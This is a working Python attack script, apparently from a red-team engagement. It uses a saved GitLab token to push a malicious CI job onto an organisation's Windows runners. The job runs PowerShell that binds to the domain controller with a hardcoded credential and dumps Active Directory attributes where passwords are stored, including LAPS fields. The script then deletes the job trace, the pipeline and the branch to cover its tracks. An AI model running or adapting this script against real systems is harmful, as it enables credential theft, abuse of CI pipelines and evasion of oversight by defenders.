#!/usr/bin/env python3
r"""Mine AD user attributes for plaintext passwords. Staged; --execute.

Classic vector: admins historically store creds in info/description/comment/
adminComment/physicalDeliveryOfficeName/otherMailbox etc. Uses the VALIDATED adfs
domain credential for an authenticated LDAP bind (anonymous is often restricted).
Read-only: DirectorySearcher over all users, dumps the free-text attributes.
No writes, no lateral, single LDAP query burst to the DC. Manual CI job on
star/backend, deploy tags. Cleanup after.
"""
import json, ssl, sys, time, urllib.request, urllib.parse, urllib.error
from pathlib import Path

CTX = ssl.create_default_context(); CTX.check_hostname = False; CTX.verify_mode = ssl.CERT_NONE
UA = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) ir-assessment-rt'}
D = Path('/root/ir-assessment/redteam/gitlab_multistackexpert_com')
BASE = 'https://gitlab.multistackexpert.com'
PID = 154
BRANCH = 'feat/ldap-attr-mine'

# Attributes that historically leak passwords. We dump any non-empty one per user.
PS = [
    r'''Write-Output "=== LDAP ATTR MINE ===";
$attrs = @("sAMAccountName","info","description","comment","adminComment","physicalDeliveryOfficeName","postOfficeBox","telephoneNumber","otherTelephone","userPassword","unixUserPassword","msLAPS-Password","ms-MCS-AdmPwd","employeeID","department","title");
$root = New-Object System.DirectoryServices.DirectoryEntry("LDAP://SERVEUR-DC2.star.mg/DC=star,DC=mg", "adfs@star.mg", "P@ssw0rd");
$s = New-Object System.DirectoryServices.DirectorySearcher($root);
$s.Filter = "(&(objectCategory=person)(objectClass=user))";
$s.PageSize = 500;
foreach ($a in $attrs) { $s.PropertiesToLoad.Add($a) | Out-Null }
$results = $s.FindAll();
Write-Output ("USERS=" + $results.Count);
$hits = 0;
foreach ($r in $results) {
  $u = $r.Properties["samaccountname"];
  foreach ($a in $attrs) {
    if ($a -eq "sAMAccountName") { continue }
    $v = $r.Properties[$a.ToLower()];
    if ($v -and $v.Count -gt 0 -and "$($v[0])".Trim() -ne "") {
      Write-Output ("ATTR|" + $u + "|" + $a + "|" + $v[0]);
      $hits++
    }
  }
}
Write-Output ("HITS=" + $hits)''',
]

def req(url, method='GET', data=None, headers=None):
    tok = (D / '.token').read_text().strip()
    h = dict(UA, **{'Authorization': f'Bearer {tok}'}); h.update(headers or {})
    r = urllib.request.Request(url, data=data, headers=h, method=method)
    try:
        with urllib.request.urlopen(r, timeout=25, context=CTX) as resp:
            return resp.status, resp.read().decode('utf-8','ignore')
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode('utf-8','ignore')
    except Exception as e:
        return 0, f'{type(e).__name__}: {e}'

def build_ci_yaml():
    st, orig = req(f'{BASE}/api/v4/projects/{PID}/repository/files/{urllib.parse.quote(".gitlab-ci.yml", safe="")}/raw?ref=develop')
    assert st == 200, f'fetch ci: {st}'
    # single PS block, written as one script line
    body = '\n'.join(PS)
    script_lines = '\n'.join('      ' + l for l in body.split('\n'))
    return orig.rstrip() + f'''
ldap_attr_mine:
  stage: build_and_deploy
  tags: ["2019", appro, docker, star, windows]
  when: manual
  allow_failure: true
  script: |
{script_lines}
  rules:
    - if: '$CI_COMMIT_BRANCH == "{BRANCH}"'
      when: manual
'''

def main():
    if '--execute' not in sys.argv:
        print('STAGED ONLY. Re-run with --execute after operator go.')
        return
    run()

def run():
    log = []
    def L(m):
        line = f'[{time.strftime("%H:%M:%S")}] {m}'
        print(line, flush=True); log.append(line)
    st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/branches', method='POST',
                data=urllib.parse.urlencode({'branch': BRANCH, 'ref': 'develop'}).encode(),
                headers={'Content-Type': 'application/x-www-form-urlencoded'})
    L(f'branch: {st}')
    if st == 401:
        raise SystemExit('token expired — refresh .token and rerun')
    yml = build_ci_yaml()
    payload = {'branch': BRANCH, 'commit_message': 'ci: add ldap attr mine',
               'actions': [{'action': 'update', 'file_path': '.gitlab-ci.yml', 'content': yml}]}
    st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/commits', method='POST',
                data=json.dumps(payload).encode(), headers={'Content-Type': 'application/json'})
    L(f'commit: {st}')
    st, b = req(f'{BASE}/api/v4/projects/{PID}/pipeline', method='POST',
                data=urllib.parse.urlencode({'ref': BRANCH}).encode(),
                headers={'Content-Type': 'application/x-www-form-urlencoded'})
    pipe_id = json.loads(b)['id']; L(f'pipeline: {pipe_id}')
    job_id = None
    for _ in range(20):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/pipelines/{pipe_id}/jobs')
        if st == 200:
            for j in json.loads(b):
                if j.get('name') == 'ldap_attr_mine':
                    job_id = j['id']; break
        if job_id: break
        time.sleep(5)
    for _ in range(20):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}')
        if json.loads(b).get('status') == 'manual': break
        time.sleep(3)
    st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/play', method='POST')
    L(f'play: {st}')
    status = 'unknown'
    for i in range(120):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}')
        j = json.loads(b); status = j.get('status')
        if i % 6 == 0 or status in ('success','failed','canceled'):
            L(f'status={status} dur={j.get("duration")}')
        if status in ('success','failed','canceled'): break
        time.sleep(10)
    st, trace = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/trace')
    L(f'trace: {st} len={len(trace)}')
    (D / 'ldap_attr_trace.txt').write_text(trace)
    (D / 'ldap_attr_run.log').write_text('\n'.join(log))
    req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/trace', method='DELETE')
    req(f'{BASE}/api/v4/projects/{PID}/pipelines/{pipe_id}', method='DELETE')
    req(f'{BASE}/api/v4/projects/{PID}/repository/branches/{urllib.parse.quote(BRANCH, safe="")}', method='DELETE')
    L('cleanup done')
    print('\n===== TRACE =====')
    print(trace[:14000])

if __name__ == '__main__':
    main()